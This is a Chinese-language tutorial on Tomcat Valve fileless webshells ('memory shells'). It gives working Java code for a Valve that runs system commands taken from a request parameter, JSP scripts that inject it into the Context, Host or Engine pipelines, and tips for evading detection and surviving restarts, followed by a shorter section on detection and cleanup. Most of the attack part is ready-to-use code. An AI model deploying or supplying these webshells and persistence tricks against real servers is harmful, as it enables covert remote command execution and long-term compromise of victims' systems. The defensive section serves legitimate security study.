在Java Web应用的渗透测试与安全防御领域,内存马因无文件落地、隐蔽性强、权限持久化的特性,成为攻防对抗的核心焦点。Tomcat作为主流的Java Web容器,其Pipeline-Valve管道阀门机制不仅是请求处理的核心架构,也为内存马的植入提供了天然的“寄生载体”。不同于传统的Filter、Listener内存马,Valve内存马直接嵌入Tomcat的核心处理链路,覆盖范围更广、隐蔽性更高,可实现从“单个Web应用”到“Tomcat三大核心容器(Engine、Host、Context)”的全维度控制。本文将从Tomcat Valve机制原理入手,手把手拆解Valve内存马的实现思路、代码编写与跨容器植入技巧,并结合防御视角分析检测与溯源方法。
一、核心前置:Tomcat Pipeline-Valve机制深度解析
要实现Valve内存马,必须先掌握Tomcat请求处理的核心流程——Pipeline-Valve管道阀门模型。Tomcat的每个核心容器(Engine、Host、Context、Wrapper)都对应一条独立的Pipeline,而Valve则是管道中负责处理请求的“阀门”。
- 容器与Pipeline的层级关系
Tomcat的容器采用四级分层架构,请求会自上而下依次流经各层容器的Pipeline:
• Engine:引擎容器,Tomcat的顶级容器,负责管理多个虚拟主机(Host),决定请求由哪个Host处理;
• Host:虚拟主机容器,对应一个域名,负责管理多个Web应用(Context);
• Context:Web应用容器,对应一个WAR包或webapp目录,是单个应用的核心载体;
• Wrapper:Servlet包装容器,对应一个具体的Servlet,负责Servlet的实例化与调用。
每个容器的Pipeline中包含两类Valve:
• 基础Valve(BaseValve):每个Pipeline仅有一个,是管道的“终点阀门”,负责完成当前容器的核心处理逻辑(如Context的基础Valve会解析请求并映射到对应Servlet);
• 自定义Valve:可手动添加多个,按顺序执行,用于扩展请求处理功能(如日志记录、权限校验)。
请求处理流程示例:
客户端请求 → Engine Pipeline → Host Pipeline → Context Pipeline → Wrapper Pipeline → 目标Servlet
2. Valve的核心接口与实现逻辑
Tomcat的Valve遵循统一的接口规范,核心接口为 org.apache.catalina.Valve,其关键方法为:
public void invoke(Request request, Response response) throws IOException, ServletException;
该方法是请求处理的入口,Request和Response对象封装了完整的请求与响应数据。自定义Valve只需实现该接口,并重写invoke方法,即可嵌入Pipeline中拦截请求。
另外,org.apache.catalina.valves.ValveBase是Tomcat提供的Valve抽象实现类,大部分内置Valve(如AccessLogValve)都继承于此。我们编写内存马时,直接继承ValveBase可大幅简化代码。
二、 基础实现:单个Context容器的Valve内存马
单个Context容器的Valve内存马,是最基础的形态,仅对当前Web应用的所有请求生效。其核心思路是:通过反射获取当前Context的Pipeline,将恶意Valve注入其中,实现请求拦截与命令执行。
核心步骤拆解
获取当前Web应用的Context对象:
在Web应用中,ServletContext是应用的上下文入口,通过反射可从ServletContext中获取Tomcat底层的Context对象(Tomcat的Context实现类为org.apache.catalina.core.StandardContext)。反射获取Context的Pipeline对象:
StandardContext类包含pipeline成员变量,通过getPipeline()方法可获取该对象。编写恶意Valve类:
继承ValveBase,重写invoke方法,添加命令执行逻辑(如通过请求参数传递命令,执行后将结果写入响应)。将恶意Valve注入Pipeline:
调用Pipeline的addValve()方法,将恶意Valve添加到管道中,实现请求拦截。完整代码实现与解析
(1)恶意Valve类编写
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
public class MaliciousValve extends ValveBase {
@Override public void invoke(Request request, Response response) throws IOException, ServletException { // 1. 从请求参数中获取执行命令 String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { // 2. 执行系统命令 Process process = Runtime.getRuntime().exec(cmd); // 3. 读取命令执行结果 InputStream inputStream = process.getInputStream(); OutputStream outputStream = response.getOutputStream(); byte[] buffer = new byte[1024]; int len; while ((len = inputStream.read(buffer)) != -1) { outputStream.write(buffer, 0, len); } inputStream.close(); outputStream.flush(); outputStream.close(); return; // 执行完命令后,终止请求后续处理 } // 3. 若无命令,放行请求至下一个Valve getNext().invoke(request, response); }}
代码核心逻辑:
• 重写invoke方法,优先从请求参数cmd中获取待执行命令;
• 若存在命令,调用Runtime.getRuntime().exec()执行,并将结果写入响应;
• 若无命令,调用getNext().invoke()放行请求,避免影响正常业务。
(2)内存马注入代码(通过JSP脚本执行)
在实际渗透场景中,通常通过上传恶意JSP脚本实现内存马注入,核心代码如下:
<%@ page import=“org.apache.catalina.core.StandardContext” %>
<%@ page import=“org.apache.catalina.connector.Request” %>
<%@ page import=“java.lang.reflect.Field” %>
<%@ page import=“org.apache.catalina.Pipeline” %>
<%@ page import=“org.apache.catalina.Valve” %>
<%
// 步骤1:从当前ServletContext中获取StandardContext对象
ServletContext servletContext = pageContext.getServletContext();
Field contextField = servletContext.getClass().getDeclaredField(“context”);
contextField.setAccessible(true);
StandardContext standardContext = (StandardContext) contextField.get(servletContext);
// 步骤2:获取Context的Pipeline对象 Pipeline pipeline = standardContext.getPipeline(); // 步骤3:创建恶意Valve实例 Valve maliciousValve = new MaliciousValve(); // 步骤4:将恶意Valve注入Pipeline pipeline.addValve(maliciousValve); out.println("Valve内存马注入成功!");%>
(3)测试验证
将上述JSP脚本上传至目标Tomcat的Web应用目录,访问该JSP页面,若显示“Valve内存马注入成功”,则说明植入完成。
此时访问该应用的任意URL,添加cmd参数即可执行命令,例如:
http://target-ip:8080/webapp/test.jsp?cmd=whoami
三、 进阶突破:跨三大容器(Engine/Host/Context)的Valve内存马
基础版Valve内存马仅对单个Context生效,而进阶版的核心目标是控制Tomcat的Engine或Host容器,实现对所有虚拟主机、所有Web应用的全局拦截。Engine作为Tomcat的顶级容器,其Pipeline中的Valve可拦截所有进入Tomcat的请求,覆盖范围最广。
- 跨容器注入的核心难点
要注入Engine或Host容器的Pipeline,关键是获取更高层级的容器对象。单个Web应用的ServletContext只能直接获取到当前Context,而Engine和Host需要通过Context的父容器逐级向上获取。
Tomcat容器的父子关系为:Wrapper → Context → Host → Engine,每个容器都有getParent()方法用于获取父容器。
- 全局控制:Engine容器Valve内存马实现
(1)核心思路
从当前Context对象出发,通过getParent()方法逐级向上获取Host、Engine;
获取Engine的Pipeline,注入恶意Valve,实现全局请求拦截。
(2)完整注入代码(JSP版)
<%@ page import=“org.apache.catalina.core.StandardContext” %>
<%@ page import=“org.apache.catalina.connector.Request” %>
<%@ page import=“java.lang.reflect.Field” %>
<%@ page import=“org.apache.catalina.Pipeline” %>
<%@ page import=“org.apache.catalina.Valve” %>
<%@ page import=“org.apache.catalina.Container” %>
<%@ page import=“org.apache.catalina.core.StandardEngine” %>
<%
// 步骤1:获取当前Context对象
ServletContext servletContext = pageContext.getServletContext();
Field contextField = servletContext.getClass().getDeclaredField(“context”);
contextField.setAccessible(true);
StandardContext standardContext = (StandardContext) contextField.get(servletContext);
// 步骤2:逐级向上获取Host → Engine Container host = standardContext.getParent(); StandardEngine engine = (StandardEngine) host.getParent(); // 步骤3:获取Engine的Pipeline Pipeline pipeline = engine.getPipeline(); // 步骤4:创建恶意Valve并注入 Valve maliciousValve = new MaliciousValve(); pipeline.addValve(maliciousValve); out.println("Engine级Valve内存马注入成功!全局拦截已生效!");%>
(3)效果验证
注入成功后,访问Tomcat下任意虚拟主机、任意Web应用的任意URL,添加cmd参数均可执行命令,例如:
http://target-ip:8080/任意路径?cmd=ipconfig
http://other-domain:8080/任意路径?cmd=netstat -ano
3. 精准控制:Host容器Valve内存马实现
Host容器对应单个虚拟主机,注入Host的Pipeline可实现对该主机下所有Web应用的拦截,介于Context和Engine之间,适合精准控制特定域名。
注入代码只需修改上述步骤2,直接使用Host的Pipeline即可:
// 步骤2:获取Host容器(无需继续向上获取Engine)
Container host = standardContext.getParent();
// 步骤3:获取Host的Pipeline
Pipeline pipeline = host.getPipeline();
四、 隐蔽性增强:Valve内存马的免杀与持久化技巧
基础Valve内存马容易被安全工具检测,需通过以下技巧提升隐蔽性:
- 动态类加载:避免恶意类落地
直接在JSP中通过Javassist或ASM动态生成恶意Valve类的字节码,无需定义MaliciousValve类,减少特征暴露。核心思路是:
使用Javassist动态创建类,继承ValveBase;
动态生成invoke方法的字节码,包含命令执行逻辑;
实例化动态类并注入Pipeline。
权限维持:Tomcat重启后存活
普通Valve内存马在Tomcat重启后会消失,可通过以下方式实现持久化:
• 篡改Tomcat配置文件:在server.xml中添加恶意Valve的配置(如),需结合文件写入漏洞;
• 植入Tomcat启动类:将恶意Valve类打包进Tomcat的catalina.jar,利用类加载机制实现启动时自动加载。
- 特征隐藏:混淆请求触发条件
• 避免使用cmd等敏感参数名,改用自定义的隐蔽参数(如x1y2z3);
• 添加IP白名单,仅允许特定IP执行命令,降低被误触的风险;
• 对请求参数进行加密,只有解密后的命令才会执行。
五、 防御与溯源:Valve内存马的检测与清除
从防御视角,需针对Valve内存马的特性构建检测与处置体系:
- 实时检测方法
• 监控Pipeline的Valve列表:通过Tomcat的MBean监控接口(http://target-ip:8080/manager/html/jmxproxy),查看各容器Pipeline中的Valve,识别未知的恶意Valve;
• 日志审计:监控Tomcat的访问日志,排查包含异常参数的请求(如cmd=whoami);
• 内存特征扫描:使用EDR工具扫描JVM内存中的类,识别继承ValveBase且包含命令执行逻辑的恶意类。
- 应急清除方案
• 临时清除:重启Tomcat服务,普通内存马会随JVM进程终止而消失;
• 永久清除:
排查并删除恶意JSP脚本或上传的恶意文件;
检查server.xml等配置文件,删除恶意Valve的配置项;
扫描Tomcat的lib目录,清除被篡改的JAR包。
长效防御策略
• 最小权限原则:限制Web应用的文件写入权限,禁止上传JSP等可执行脚本;
• 加固Tomcat配置:删除默认的manager、host-manager应用,修改默认端口与管理员密码;
• 部署WAF与EDR:利用WAF拦截恶意请求,EDR监控JVM内存中的异常类加载行为。
六、 总结与前瞻
Tomcat Valve内存马的核心在于利用容器的Pipeline-Valve机制,实现请求的拦截与控制,从单个Context到全局Engine,其覆盖范围可灵活调整,是Java Web容器渗透的重要技术手段。
从防御角度看,随着内存马技术的不断升级,传统的基于文件的检测手段已逐渐失效,未来需构建“内存检测+行为分析+配置审计”的立体化防御体系。同时,Tomcat官方也在不断优化容器的安全性,例如通过加强类加载权限控制、引入沙箱机制等方式,降低内存马的植入风险。
攻防对抗是一场持久的博弈,掌握Valve内存马的实现原理与防御方法,无论是对渗透测试人员还是安全防御工程师,都具有重要的实战意义。